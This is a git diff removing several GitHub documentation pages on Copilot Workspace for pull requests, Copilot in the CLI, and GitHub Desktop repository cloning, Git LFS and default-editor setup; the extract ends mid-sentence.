/creating-a-pull-request-summary-with-github-copilot ---- diff --git a/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request.md b/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request.md deleted file mode 100644 index 93b18b11766f..000000000000 --- a/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request.md +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: Using Copilot to help you work on a pull request -shortTitle: Working on a PR -intro: 'You can iterate, validate, and integrate suggested changes to code by using {% data variables.product.prodname_copilot_workspace %}.' -product: '{% data reusables.gated-features.copilot-free-availability %}' -versions: - feature: copilot-hadron -topics: - - Copilot ---- - -> [!NOTE] {% data variables.product.prodname_copilot_workspace %} is currently in limited {% data variables.release-phases.public_preview %}. The waitlist for admission to this preview is currently closed. - -## About using {% data variables.product.prodname_copilot_short %} to help you work on your pull requests - -After you create a pull request, you can continue working on the PR on the {% data variables.product.github %} website. This article is about {% data variables.product.prodname_copilot_workspace %}, which provides a {% data variables.product.prodname_copilot_short %}-enabled environment for: - -* **Refining** your pull requests -* **Validating** changes -* **Integrating** suggestions from reviewers - -{% data variables.product.prodname_copilot_workspace %} enables you to work on your pull requests in one place - on {% data variables.product.github %} - from pull request creation to merge. - -{% data variables.product.prodname_copilot_short %} can help with pull requests in other ways too. These are explained in separate articles. {% data variables.product.prodname_copilot_short %} can: -* Write a pull request summary for you - see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/creating-a-pull-request-summary-with-github-copilot). -* Review a pull request for you - see [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review). -* Suggest fixes for coding problems identified by {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} - see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -### Benefits of {% data variables.product.prodname_copilot_workspace %} - -{% data variables.product.prodname_copilot_workspace %}: - -* Allows you to work on a pull request without having to switch back and forward between the {% data variables.product.github %} website and your IDE. -* Gives you easy access to view/test/modify/apply coding suggestions, from {% data variables.product.prodname_copilot_short %} code reviews and {% data variables.product.prodname_copilot_autofix_short %}, as well as reviews by human reviewers. -* Gives you {% data variables.product.prodname_copilot_short %} code completion suggestions on {% data variables.product.github %}. Previously these were only available in an IDE. -* Shows you a list of files changed by the pull request, within the browser-based editor, but also allows you to find and edit any file from across the repo. -* Enables you to build, test, and run your code directly from the {% data variables.product.prodname_copilot_workspace_short %} environment on {% data variables.product.github %}. - -## Prerequisites - -Using {% data variables.product.prodname_copilot_workspace %} requires an existing pull request on the {% data variables.product.github %} website and either of the following: - -* Access to this {% data variables.release-phases.public_preview %} from the waitlist (now closed). -* Access to {% data variables.product.prodname_GHAS %} (GHAS) features on a private repository owned by an organization on a {% ifversion ghas-products-cloud %}{% data variables.product.prodname_team %} or {% endif %}{% data variables.product.prodname_enterprise %} plan. See [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -Without access to {% data variables.product.prodname_copilot_workspace %} you can still edit the files in pull requests by going to the **Files changed** tab, clicking the ellipsis (**...**) next to the file you want to edit, and then clicking **Edit file**. - -## Editing files in a pull request - -To work on a pull request in {% data variables.product.prodname_copilot_workspace %}: - -1. Click the **{% octicon "copilot" aria-hidden="true" %} Open in {% data variables.product.prodname_copilot_workspace_short %}** button on the right side of the main page of a pull request. - - {% data variables.product.prodname_copilot_workspace %} opens, displaying an overview of the pull request. - - At the left of the {% data variables.product.prodname_copilot_workspace %} window is a list of the files changed by the pull request. - - ![Screenshot of the list of files in a PR, at the left of {% data variables.product.prodname_copilot_workspace %}.](/assets/images/help/copilot/workspace-files-in-pr.png) - -1. To work on a file that is not currently changed by this pull request, click **Files in this pull request** and, from the dropdown, select **All files in this repository**. -1. Click a file in the list to open the file in the {% data variables.product.prodname_copilot_workspace_short %} editor. - - The file is displayed in a diff view. You can change the view if required. See [Changing the {% data variables.product.prodname_copilot_workspace_short %} options](#changing-the-workspace-options) later in this article. - - You can open and change multiple files before committing your changes. - -1. After you have finished making changes, click **Review and commit**. - - The **Commit changes** panel is displayed. {% data variables.product.prodname_copilot_short %} autogenerates a commit message for you, based on the changes you have made. You can edit the message and add an extended description if you want. - - ![Screenshot of the "Commit changes" panel showing an autogenerated commit message and three changed files.](/assets/images/help/copilot/workspace-commit-changes.png) - - The panel lists the files you have changed. You can expand each file to see the changes you have made. - -1. Optionally, if you edited multiple files and you decide you don't want to commit all of the changes in a single commit, clear the check box beside the files whose changes you don't want to commit. When you click **Commit changes**, the changes you applied to those files will remain applied but uncommitted, and you can add them to the pull request in a separate commit. - - > [!NOTE] If you clear the check box beside some files you may need to rewrite the commit message to avoid mentioning the changes to those files. - -1. Click **Commit changes**. - - Alternatively, click **Reset all changes** to return the files to their current state in the pull request, losing the changes you made in the {% data variables.product.prodname_copilot_workspace_short %} editor panel. Resetting your changes cannot be undone. - -## Using {% data variables.product.prodname_copilot_short %} to work on pull request comments - -You can use {% data variables.product.prodname_copilot_workspace %} to work through all comments on your pull request, one after the other, and then commit any changes you choose to make in a single commit. - -1. On a comment that includes a code change suggestion, click **Open in {% data variables.product.prodname_copilot_workspace_short %}**. - - ![Screenshot of a coding suggestion by {% data variables.copilot.copilot_code-review_short %}.](/assets/images/help/copilot/workspace-copilot-review-suggestion.png) - - {% data variables.product.prodname_copilot_workspace %} opens, displaying the suggested change in the Suggestions panel on the right of the {% data variables.product.prodname_copilot_workspace_short %} window. - -1. Review the suggested change, then click one of the two buttons at the bottom of the Suggestions panel: - - * **Apply** - If you agree with the suggested change. - * **Dismiss** - If you do not want to make the suggested change. - -1. If there are multiple comments in the pull request, you can step through to the next comment by clicking the **>** arrow at the bottom of the Suggestions panel. - - ![Screenshot of the Suggestions panel, showing the ">" arrow and "Dismiss" and "Apply" buttons.](/assets/images/help/copilot/workspace-next-comment.png) - -1. Optionally, to see a list of all of the comments in the pull request, click the back arrow at the top left of the Suggestions panel. - - ![Screenshot of the Suggestions panel, showing the back arrow at the top left.](/assets/images/help/copilot/workspace-all-comments.png) - - If you have accepted or dismissed any suggestions, these are shown within "applied" and "dismissed" dropdowns, which make it easy to see which suggestions you have not yet dealt with. - - ![Screenshot a list of comments in the Suggestions panel. Two are awaiting action. Beneath this are dropdown links headed "1 applied" and "1 dismissed."](/assets/images/help/copilot/workspace-applied-dismissed.png) - -1. After you have finished reviewing the suggested changes, click **Review and commit**. -1. Optionally, if you decide you don't want to commit all of the applied changes in a single commit, clear the check box beside the files whose changes you don't want to commit. When you click **Commit changes**, the changes you applied to those files will remain applied but uncommitted, and you can add them to the pull request in a separate commit. -1. Click **Commit changes**. - - Alternatively, click **Reset all changes** to return the suggestions to their initial state, losing the apply or dismiss choices you made, and losing any changes you made by editing files directly in the {% data variables.product.prodname_copilot_workspace_short %} editor panel. Resetting your changes cannot be undone. - -## Chatting with {% data variables.product.prodname_copilot_short %} about a pull request - -1. At the top of the {% data variables.product.prodname_copilot_workspace_short %} window, click the {% octicon "copilot" aria-label="Toggle {% data variables.product.prodname_copilot_short %} button. -1. At the bottom of the {% data variables.product.prodname_copilot_short %} panel, type a question in the "Ask {% data variables.product.prodname_copilot_short %}" box then press Enter. - - You can ask questions about: - - * **The currently displayed file** - for example, "how could I improve this file?" - * **The whole pull request** - for example, "what frameworks are referenced in this pull request?" - * **General programming topics** - for example, "what is the latest version of ruby?" - - For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom). - -> [!NOTE] Currently not all {% data variables.product.prodname_copilot_chat_short %} features are available in the {% data variables.release-phases.public_preview %} of {% data variables.product.prodname_copilot_workspace %}. - -## Verifying your changes - -{% data variables.product.prodname_copilot_workspace_short %} includes a built-in terminal and a quick way to build, run, and test your code. - -### Opening the terminal - -To open the terminal, click {% octicon "terminal" aria-label="Toggle console panel" %} at the top right of the {% data variables.product.prodname_copilot_workspace_short %} editor panel. - -> [!NOTE] The terminal requires a codespace to be running. If you don't see the {% octicon "terminal" aria-label="Toggle console panel" %} icon, you may need to wait a few seconds for the codespace to start. - -### Running terminal commands - -You can type commands directly into the terminal, or you can use quick commands to run commonly used commands with a couple of clicks. - -#### Configuring personal quick commands - -You can configure **Build**, **Run**, and **Test** commands that you can use when you work on a specific project in {% data variables.product.prodname_copilot_workspace %}. If commands have already been configured for the repository, you can replace them with alternative commands for your own personal use. - -1. At the top of the {% data variables.product.prodname_copilot_workspace_short %} window, click **{% octicon "gear" aria-hidden="true" %} Configure**. - - If **Build**, **Run**, and **Test** quick commands have already been defined, the **{% octicon "play" aria-hidden="true" %} Build** button is displayed instead of **{% octicon "gear" aria-hidden="true" %} Configure**. Click the dropdown arrow beside the **{% octicon "play" aria-hidden="true" %} Build** button and then click **{% octicon "gear" aria-hidden="true" %} Configure** from the dropdown menu. - - ![Screenshot of the "Commands" dropdown menu with the "Configure" option highlighted with a dark orange outline.](/assets/images/help/copilot/workspace-configure-commands.png) - -1. In the "Configure commands" dialog, enter the commands you want to use for **Build**, **Run**, and **Test** options. -1. Click **Save**. - -#### Configuring quick commands for your repository - -You can set default **Build**, **Run**, and **Test** commands for everyone who uses {% data variables.product.prodname_copilot_workspace %} to work on pull requests for your repository. - -1. Create or edit a file in the root of your repository called `.devcontainer/devcontainer.json`. - - > [!NOTE] The `.devcontainer/devcontainer.json` file is a configuration file for codespaces created for a repository. For more information, see [AUTOTITLE](/enterprise-cloud@latest/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#devcontainerjson). - -1. Add a `commands` section as follows, replacing the example commands shown here with the commands that people working on your repository should use. - - ```json - { - "commands": { - "Build": "make", - "Run": "./bin/start", - "Test": "make test" - } - } - ``` - -1. Click **Save**. - -#### Using {% data variables.product.prodname_copilot_workspace_short %} quick commands - -1. To run the first of the defined quick commands (typically **Build**), click the button at the top of the {% data variables.product.prodname_copilot_workspace_short %} window. -1. To run a different quick command, click the dropdown arrow beside the button and then click the command you want to run from the dropdown menu. - - ![Screenshot of the "Commands" dropdown menu with the "Run" option highlighted with a dark orange outline.](/assets/images/help/copilot/workspace-run-command.png) - -1. After clicking **Run**, while the process is running, you can click the dropdown arrow again and choose from options to stop or restart the process, or view the output from the run command. - - ![Screenshot of the dropdown menu for a running application with the "Stop" option highlighted with a dark orange outline.](/assets/images/help/copilot/workspace-stop-command.png) - -#### Previewing a web application - -If your run command starts a web server, the {% octicon "globe" aria-label="Open preview" %} button is displayed at the top of the {% data variables.product.prodname_copilot_workspace_short %} window. - -Click this button to preview the server output in a new tab of your browser. - -## Changing the {% data variables.product.prodname_copilot_workspace_short %} options - -You can change how files are displayed in {% data variables.product.prodname_copilot_workspace %}. - -### Changing the diff view - -1. Click the compare picker icon ({% octicon "git-compare" aria-hidden="true" %}), at the top right of the {% data variables.product.prodname_copilot_workspace_short %} editor panel. -1. Choose a view option: - - * **Unified** - Shows changes in a single view, with added lines highlighted in green and removed lines highlighted in red. - * **Split** - Shows changes in a split view, with the original file on the left and the new file on the right. - * **Hidden** - Shows the current state of the file in this pull request, without showing what changes the PR makes. - -### Wrapping long lines - -1. Click the ellipsis (**...**), at the top right of the {% data variables.product.prodname_copilot_workspace_short %} editor panel. -1. Click **Wrap lines** to toggle line wrapping on or off. diff --git a/content/copilot/using-github-copilot/using-github-copilot-in-the-command-line.md b/content/copilot/using-github-copilot/using-github-copilot-in-the-command-line.md deleted file mode 100644 index cdcd18bb44a3..000000000000 --- a/content/copilot/using-github-copilot/using-github-copilot-in-the-command-line.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Using GitHub Copilot in the command line -intro: 'You can use {% data variables.product.prodname_copilot_short %} with the {% data variables.product.prodname_cli %} to get suggestions and explanations for the command line.' -versions: - feature: copilot-in-the-cli -topics: - - Copilot - - CLI -shortTitle: Use Copilot in the CLI -redirect_from: - - /copilot/github-copilot-in-the-cli/using-github-copilot-in-the-cli - - /copilot/using-github-copilot/using-github-copilot-in-the-cli ---- - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot %}**. See [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). -* **{% data variables.product.prodname_cli %} installed**. {% data reusables.cli.cli-installation %} -* **{% data variables.product.prodname_copilot_cli_short %} extension installed**. See [AUTOTITLE](/copilot/github-copilot-in-the-cli/installing-github-copilot-in-the-cli). - -If you have access to {% data variables.product.prodname_copilot %} via your organization or enterprise, you cannot use {% data variables.product.prodname_copilot_cli_short %} if your organization owner or enterprise administrator has disabled {% data variables.product.prodname_copilot_cli_short %}. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-policies-for-copilot-in-your-organization). - -## Getting command explanations - -To ask {% data variables.product.prodname_copilot_cli_short %} to explain a command, run `gh copilot explain` followed by the command that you want explained. For example: - -```shell copy -gh copilot explain "sudo apt-get" -``` - -## Getting command suggestions - -To ask {% data variables.product.prodname_copilot_cli_short %} to suggest a command, run `gh copilot suggest` followed by the command that you want. For example: - -```shell copy -gh copilot suggest "Undo the last commit" -``` - -{% data variables.product.prodname_copilot_cli_short %} will start an interactive session to get more information about what you want. - -If you choose the **Execute command** option after {% data variables.product.prodname_copilot_cli_short %} suggests a command, {% data variables.product.prodname_copilot_cli_short %} will copy the command to your clipboard and exit the interactive session. Then you can manually paste the command into your CLI. - -If you want {% data variables.product.prodname_copilot_cli_short %} to be able to execute commands on your behalf, you must set up the `ghcs` alias. See [AUTOTITLE](/copilot/github-copilot-in-the-cli/configuring-github-copilot-in-the-cli#setting-up-aliases). - -## Sharing feedback - -To send feedback to {% data variables.product.company_short %} about the quality of a suggestion, select the **Rate response** option in {% data variables.product.prodname_copilot_cli_short %}. - -You can also open an issue in the [{% data variables.product.prodname_copilot_cli_short %} extension repository](https://github.com/github/gh-copilot). - -## Further reading - -* [{% data variables.product.prodname_copilot_cli_short %} extension README](https://github.com/github/gh-copilot?tab=readme-ov-file) -* [AUTOTITLE](/copilot/github-copilot-in-the-cli/configuring-github-copilot-in-the-cli) diff --git a/content/desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md b/content/desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md deleted file mode 100644 index 116a17c33a09..000000000000 --- a/content/desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Adding a repository from your local computer to GitHub Desktop -intro: 'You can add any Git repository to {% data variables.product.prodname_desktop %}, even if it''s not a {% data variables.product.prodname_dotcom %} repository.' -redirect_from: - - /desktop/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Add a repository ---- - -> [!TIP] -> You can add a Git repository from your local computer to GitHub Desktop by dragging the folder onto the {% data variables.product.prodname_desktop %} window. If you drag multiple Git folders into {% data variables.product.prodname_desktop %} at the same time, each folder will be added as a separate Git repository. - -{% mac %} - -1. In the menu bar, select **File**, then click **Add Local Repository**. - ![Screenshot of the menu bar on a Mac. The "File" dropdown menu is open, and an option labeled "Add Local Repository" is outlined in orange.](/assets/images/help/desktop/add-local-repository-mac.png) -1. In the "Add Local Repository" window, click **Choose...**, then use the Finder window to navigate to the local repository you want to add. - ![Screenshot of the "Add Local Repository" window. Next to the "repository path" field, a button, labeled "Choose", is outlined in orange.](/assets/images/help/desktop/add-repo-choose-button-mac.png) -1. When you have chosen the local repository, in the "Add Local Repository" window, click **Add Repository**. - -{% endmac %} - -{% windows %} - -1. In the menu bar, select **File**, then click **Add local repository**. - ![Screenshot of the menu bar on Windows. The "File" dropdown menu is open, and an option labeled "Add local repository" is outlined in orange.](/assets/images/help/desktop/add-local-repository-windows.png) -1. In the "Add local repository" window, click **Choose...**, then use Windows Explorer to navigate to the local repository you want to add. - ![Screenshot of the "Add local repository" window. Next to the "repository path" field, a button, labeled "Choose", is outlined in orange.](/assets/images/help/desktop/add-repo-choose-button-mac.png) -1. Click **Add repository**. - -{% endwindows %} diff --git a/content/desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md b/content/desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md deleted file mode 100644 index 1d603631f57b..000000000000 --- a/content/desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Adding an existing project to GitHub using GitHub Desktop -intro: 'You can add an existing Git repository to {% data variables.product.prodname_dotcom %} using {% data variables.product.prodname_desktop %}.' -redirect_from: - - /desktop/contributing-to-projects/adding-an-existing-project-to-github-using-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/adding-an-existing-project-to-github-using-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Add an existing project ---- - -{% data reusables.git.remove-git-remote %} -1. [Add the repository to GitHub Desktop](/desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop). -{% data reusables.desktop.publish-repository %} -1. In the "Publish Repository" window, in the "Name" field, type the desired name of the repository or use the default current local repository name. -1. Optionally, add a description for the repository. -1. Optionally, to publish a public repository, deselect **Keep this code private**. -1. Select the "Organization" dropdown menu, then either click the organization where you want to publish the repository, or, to publish the repository to your personal account, click **None**. -1. Click **Publish Repository**. diff --git a/content/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md b/content/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md deleted file mode 100644 index ae6a2df6be08..000000000000 --- a/content/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Cloning a repository from GitHub to GitHub Desktop -intro: 'You can use {% data variables.product.prodname_dotcom %} to clone remote repositories to {% data variables.product.prodname_desktop %}.' -redirect_from: - - /desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/cloning-a-repository-from-github-to-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Clone a GitHub repo ---- - -> [!TIP] -> You also can use {% data variables.product.prodname_desktop %} to clone repositories that exist on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop). - -1. Sign in to {% data variables.product.github %} and {% data variables.product.prodname_desktop %} before you start to clone. -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.open-with-github-desktop %} -1. Click **Choose...** and navigate to a local directory where you want to clone the repository. - - ![Screenshot of the "URL" tab of the "Clone a Repository" window. Next to the "Local Path" field, a button, labeled "Choose", is outlined in orange.](/assets/images/help/desktop/clone-choose-button-url-mac.png) - - > [!NOTE] - > If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}. - -1. Click **Clone**. diff --git a/content/desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md b/content/desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md deleted file mode 100644 index d1d093e9682e..000000000000 --- a/content/desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Cloning and forking repositories from GitHub Desktop -intro: 'You can use {% data variables.product.prodname_desktop %} to clone and fork repositories that exist on {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /desktop/contributing-to-projects/cloning-a-repository-from-github-desktop - - /desktop/contributing-to-projects/cloning-and-forking-repositories-from-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop - - /desktop/guides/contributing/cloning-a-repository-from-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Clone & fork from Desktop ---- -## About local repositories - -Repositories on {% data variables.product.github %} are remote repositories. You can clone or fork a repository with {% data variables.product.prodname_desktop %} to create a local repository on your computer. - -You can create a local copy of any repository on {% data variables.product.github %} that you have access to by cloning the repository. If you own a repository or have write permissions, you can sync between the local and remote locations. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop). - -When you clone a repository, any changes you push to {% data variables.product.github %} will affect the original repository. To make changes without affecting the original project, you can create a separate copy by forking the repository. You can create a pull request to propose that maintainers incorporate the changes in your fork into the original upstream repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -When you use {% data variables.product.prodname_desktop %} to push a change to a repository that you do not have write access to, {% data variables.product.prodname_desktop %} will prompt you to create a fork. You can choose to use your fork to contribute to the original upstream repository or to work independently on your own project. Any existing forks default to contributing changes to their upstream repositories. You can modify this choice at any time. For more information, see [Managing fork behavior](#managing-fork-behavior). - -You can also clone a repository directly from {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}. For more information, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop). - -## Cloning a repository - -{% data reusables.desktop.choose-clone-repository %} -{% data reusables.desktop.cloning-location-tab %} -{% data reusables.desktop.cloning-repository-list %} -{% data reusables.desktop.choose-local-path %} -{% data reusables.desktop.click-clone %} - -## Forking a repository - -You can fork a repository on {% data variables.product.github %} or in {% data variables.product.prodname_desktop %}. For information about forking on {% data variables.product.github %}, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo?tool=webui). - -{% data reusables.desktop.forking-a-repo %} - -## Managing fork behavior - -You can change how a fork behaves with the upstream repository in {% data variables.product.prodname_desktop %}. - -{% data reusables.desktop.open-repository-settings %} -{% data reusables.desktop.select-fork-behavior %} - -## Creating an alias for a local repository - -You can create an alias for a local repository to help differentiate between repositories of the same name in {% data variables.product.prodname_desktop %}. Creating an alias does not affect the repository's name on {% data variables.product.prodname_dotcom %}. In the repositories list, aliases appear in italics. - -1. In the upper-left corner of {% data variables.product.prodname_desktop %}, to the right of the current repository name, click {% octicon "triangle-down" aria-label="The triangle-down icon" %}. -1. Right-click the repository you want to create an alias for, then click **Create Alias**. -1. Type an alias for the repository. -1. Click **Create Alias**. - -## Further reading - -* [About remote repositories](/get-started/git-basics/about-remote-repositories) diff --git a/content/desktop/adding-and-cloning-repositories/index.md b/content/desktop/adding-and-cloning-repositories/index.md deleted file mode 100644 index ec2159eec9c6..000000000000 --- a/content/desktop/adding-and-cloning-repositories/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Adding and cloning repositories -intro: 'Add existing repositories from your local computer to {% data variables.product.prodname_desktop %}, or clone repositories from {% data variables.product.github %}.' -redirect_from: - - /desktop/contributing-to-projects/adding-and-cloning-repositories - - /desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories -versions: - feature: desktop -children: - - /adding-a-repository-from-your-local-computer-to-github-desktop - - /adding-an-existing-project-to-github-using-github-desktop - - /cloning-and-forking-repositories-from-github-desktop - - /cloning-a-repository-from-github-to-github-desktop -shortTitle: Add & clone repositories ---- diff --git a/content/desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md b/content/desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md deleted file mode 100644 index 1b684cc7d8a7..000000000000 --- a/content/desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: About Git Large File Storage and GitHub Desktop -shortTitle: About Git LFS -intro: '{% data variables.product.prodname_desktop %} includes {% data variables.large_files.product_name_long %} for managing large files.' -redirect_from: - - /desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop - - /desktop/installing-and-configuring-github-desktop/about-git-large-file-storage-and-github-desktop - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -When you install {% data variables.product.prodname_desktop %}, {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) is installed, too. {% data variables.large_files.product_name_short %} lets you push files to {% data variables.product.prodname_dotcom %} that exceed the normal limit of {% data variables.large_files.max_github_size %}. For more information about {% data variables.large_files.product_name_short %}, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage). - -To use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}, you must configure {% data variables.large_files.product_name_short %} using the command line. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage). - -After you configure {% data variables.large_files.product_name_short %} to track files in a repository, you can seamlessly access and manage large files with {% data variables.product.prodname_desktop %} like any other file in the repository. - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files) diff --git a/content/desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor-in-github-desktop.md b/content/desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor-in-github-desktop.md deleted file mode 100644 index 8cb6a0c37f87..000000000000 --- a/content/desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor-in-github-desktop.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Configuring a default editor in GitHub Desktop -intro: 'You can configure {% data variables.product.prodname_desktop %} to open files in your project with your preferred text editor or integrated development environment (IDE).' -redirect_from: - - /desktop/getting-started-with-github-desktop/configuring-a-default-editor - - /desktop/installing-and-configuring-github-desktop/configuring-a-default-editor - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor - - /desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Configure default editor ---- - -## Introduction - -{% data variables.product.prodname_desktop %} provides support for a number of editors, and also allows you to select a custom editor if your preferred editor is not supported. If you installed an editor while {% data variables.product.prodname_desktop %} was open you will need to quit and reopen {% data variables.product.prodname_desktop %} in order for the editor to be detected. - -## Supported editors - -{% mac %} - -* [MacVim](https://macvim-dev.github.io/macvim/) -* [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) -* [Visual Studio Codium](https://vscodium.com/) -* [Sublime Text](https://www.sublimetext.com/) -* [BBEdit](http://www.barebones.com/products/bbedit/) -* [JetBrains WebStorm](https://www.jetbrains.com/webstorm/) -* [JetBrains PhpStorm](https://www.jetbrains.com/phpstorm/) -* [JetBrains Rider](https://www.jetbrains.com/rider/) -* [JetBrains PyCharm](https://www.jetbrains.com/pycharm/) -* [JetBrains RubyMine](https://www.jetbrains.com/rubymine/) -* [JetBrains IntelliJ IDEA](https://www.jetbrains.com/idea/) -* [JetBrains GoLand](https://www.jetbrains.com/go/) -* [JetBrains Fleet](https://www.jetbrains.com/fleet/) -* [JetBrains DataSpell](https://www.jetbrains.com/dataspell/) -* [Brackets](http://brackets.io/) - * To use Brackets with {% data variables.product.prodname_desktop %}, you must install the Command Line shortcut. To install the shortcut, open Brackets, click **File** in the menu bar, then click **Install Command Line Shortcut**. -* [Typora](https://typora.io/) -* [CodeRunner](https://coderunnerapp.com/) -* [SlickEdit](https://www.slickedit.com/) -* [Xcode](https://developer.apple.com/xcode/) -* [RStudio](https://rstudio.com/) -* [Nova](https://nova.app/) -* [Android Studio](https://developer.android.com/studio) -* [Aptana Studio](http://www.aptana.com/) -* [Neovide](https://neovide.dev/) -* [Emacs](https://www.gnu.org/software/emacs/) -* [Lite XL](https://lite-xl.com/) -* [Pulsar](https://pulsar-edit.dev/) -* [Zed](https://zed.dev/) - -{% endmac %} - -{% windows %} - -* [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) -* [Visual Studio Codium](https://vscodium.com/) -* [Sublime Text](https://www.sublimetext.com/) -* [ColdFusion Builder](https://www.adobe.com/products/coldfusion-builder.html) -* [Typora](https://typora.io/) -* [SlickEdit](https://www.slickedit.com/) -* [JetBrains IntelliJ Idea](https://www.jetbrains.com/idea/) -* [JetBrains WebStorm](https://www.jetbrains.com/webstorm/) -* [JetBrains PhpStorm](https://www.jetbrains.com/phpstorm/) -* [JetBrains Rider](https://www.jetbrains.com/rider/) -* [JetBrains CLion](https://www.jetbrains.com/clion/) -* [JetBrains PyCharm](https://www.jetbrains.com/pycharm/) -* [JetBrains RubyMine](https://www.jetbrains.com/rubymine/) -* [JetBrains GoLand](https://www.jetbrains.com/go/) -* [JetBrains Fleet](https://www.jetbrains.com/fleet/) -* [JetBrains DataSpell](https://www.jetbrains.com/dataspell/) -* [Android Studio](https://developer.android.com/studio) -* [Brackets](http://brackets.io/) -* [Notepad++](https://notepad-plus-plus.org/) -* [RStudio](https://rstudio.com/) -* [Aptana Studio](http://www.aptana.com/) - -{% endwindows %} - -## Configuring a default editor - -{% mac %} - -{% data reusables.desktop.mac-select-desktop-menu %} -1. In the Settings window, select **Integrations**. - ![Screenshot of the "Settings" window. In the left sidebar, the "Integrations" option is highlighted in blue and outlined in orange.](/assets/images/help/desktop/mac-select-integrations-pane.png) -1. Under 